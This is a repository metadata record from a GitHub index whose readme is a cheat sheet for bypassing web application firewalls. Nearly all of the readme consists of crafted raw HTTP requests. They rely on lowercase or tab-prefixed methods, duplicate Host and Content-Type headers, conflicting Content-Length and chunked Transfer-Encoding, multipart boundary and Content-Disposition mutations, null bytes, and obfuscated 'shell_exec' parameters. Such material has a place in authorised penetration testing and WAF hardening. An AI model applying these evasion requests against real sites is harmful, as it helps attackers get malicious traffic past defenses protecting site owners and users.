{"id":13844199,"url":"https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet","last_synced_at":"2025-07-11T22:30:55.858Z","repository":{"id":113441377,"uuid":"159554510","full_name":"Bo0oM/WAF-bypass-Cheat-Sheet","owner":"Bo0oM","description":"Another way to bypass WAF Cheat Sheet  (draft)","archived":false,"fork":false,"pushed_at":"2018-11-28T20:34:17.000Z","size":3,"stargazers_count":426,"open_issues_count":0,"forks_count":65,"subscribers_count":19,"default_branch":"master","last_synced_at":"2025-06-24T15:07:54.027Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Bo0oM.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2018-11-28T19:34:02.000Z","updated_at":"2025-06-22T04:21:37.000Z","dependencies_parsed_at":null,"dependency_job_id":"d1616ae5-1547-4aa8-ac9d-ec88603ebbc1","html_url":"https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Bo0oM/WAF-bypass-Cheat-Sheet","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Bo0oM%2FWAF-bypass-Cheat-Sheet","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Bo0oM%2FWAF-bypass-Cheat-Sheet/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Bo0oM%2FWAF-bypass-Cheat-Sheet/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Bo0oM%2FWAF-bypass-Cheat-Sheet/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Bo0oM","download_url":"https://codeload.github.com/Bo0oM/WAF-bypass-Cheat-Sheet/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Bo0oM%2FWAF-bypass-Cheat-Sheet/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264909966,"owners_count":23682096,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:02:37.117Z","updated_at":"2025-07-11T22:30:55.618Z","avatar_url":"https://github.com/Bo0oM.png","language":null,"funding_links":[],"categories":["Others"],"sub_categories":[],"readme":"# WAF/IPS/DLP bypass Cheat Sheet\nAnother way to bypass\n\n**Add \\r\\n before the first line HTTP request**  \n\n```\n\nGET /login HTTP/1.1\nHost: favoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n\n\n**Writing the method with a lowercase (Apache)**\n```\nget /login HTTP/1.1\nHost: favoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n\n**Tabs before the method (IIS)**\n```\n    GET /login.php HTTP/1.1\nHost: favoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n\n**GET /login?shell_exec HTTP/1.1**\n```\nGET /login?shell.exec HTTP/1.1\nGET /login?shell[exec HTTP/1.1\nGET /login?shell%5bexec HTTP/1.1\nGET /login?shell%2eexec HTTP/1.1\nGET /login?shell%5fexec HTTP/1.1\nGET /login?shell%20exec HTTP/1.1\n```\n\n**GET /login.php?pam_param=test3**\n```\nGET /login.php?pam_param=test1\u0026pam[param=test2\u0026pam%5bparam=test3\n```\n\n**GET /login.php?hello=world HTTP/1.1**\n```\nGET /login.php?hello%00another_text=world HTTP/1.1\n```\n\n**HTTP Request - absoluteURI**\n```\nGET http://localhost/login.php HTTP/1.1\nHost: favoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n\n**Double host header**\n```\nGET /login.php HTTP/1.1\nHost: favoritewaf.com\nHost: localhost\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n\n**Host with lowercase**\n```\nGET /login.php HTTP/1.1\nhost: favoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n\n**Host without space**\n```\nGET /login.php HTTP/1.1\nHost:favoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n**Host with tab**\n```\nGET /login.php HTTP/1.1\nHost:\tfavoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n**Host with addition symbols**\n\n/\n:\n\\x00\n\\x20\n\\x09\n\\xad (IIS)\n\nExample:\n```\nGET /login.php HTTP/1.1\nHost: favoritewaf.com:12345\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n\n```\nGET /login.php HTTP/1.1\nHost: favoritewaf.com ignored.text\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\n```\n\n**Content-Type with another text** \n```\nPOST /login.php HTTP/1.1\nHost: favoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\nContent-Type: application/another-text/+++x-www-form-urlencoded\n\nhello=world\n```\n\n**HTTP request with incorrect Content-Length (more data than specified)**\n```\nGET /login.php HTTP/1.1\nHost: favoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\nContent-Length: 1\n\nAAAAAAAA\n```\n\n**Double Content-Type**\n```\nContent-Type: multipart/form-data; boundary=ZZZ\nContent-Type: multipart/form-data; boundary=AAA\n```\n\n**Content-Disposition mutation**\n```\nGET /login.php HTTP/1.1\nHost: favoritewaf.com\nUser-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)\nAccept-Language: en-us\nAccept-Encoding: gzip, deflate\nConnection: Keep-Alive\nContent-Type: multipart/form-data; boundary=--------1218108630\n\n----------1218108630\nContent-Disposition: form-data; name=\"hello\"\n\nworld\n----------1218108630--\n```\n\n```\nContent-Disposition: form-data; name=\"hello\"\nContent-Disposition: form-data; name=\"hello\nContent-Disposition: form-data; name=\"hello\"world\"\nContent-Disposition: attachment; name=\"hello\"\n```\n\n\n```\nContent-Type: multipart/form-data; boundary=x\n\n\n--x\nContent-Disposition:\ntest1;\n--x\ntest2;\n--x--\ntest3;\nname=\"hello\"\n\nworld\n```\n**Boundary mutation**\n**PHP**\n\n```\nContent-Type: multipart/form-data; myfavoriteboundaryis=X; boundary=Hello;\n==\nContent-Type: multipart/form-data; boundary=X;\n```\n\n\n**Nullbyte**\n```\nContent-Type: multipart/form-data; boundary=HELLO\\x00XXXXXXXXX\n==\nContent-Type: multipart/form-data; boundary=HELLO\n```\n\n**Ignored Content-Length**\n```\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 11\n\nhello=world\n```\n\n==\n```\nContent-Length: 22\nTransfer-Encoding: chunked\n\n0B\nhello=world\n0\n\n```\n\n==\n```\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 0\nTransfer-Encoding: chunked\n\n3\nhel\n3\nlo=\n3\nwor\n2\nld\n0\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FBo0oM%2FWAF-bypass-Cheat-Sheet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FBo0oM%2FWAF-bypass-Cheat-Sheet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FBo0oM%2FWAF-bypass-Cheat-Sheet/lists"}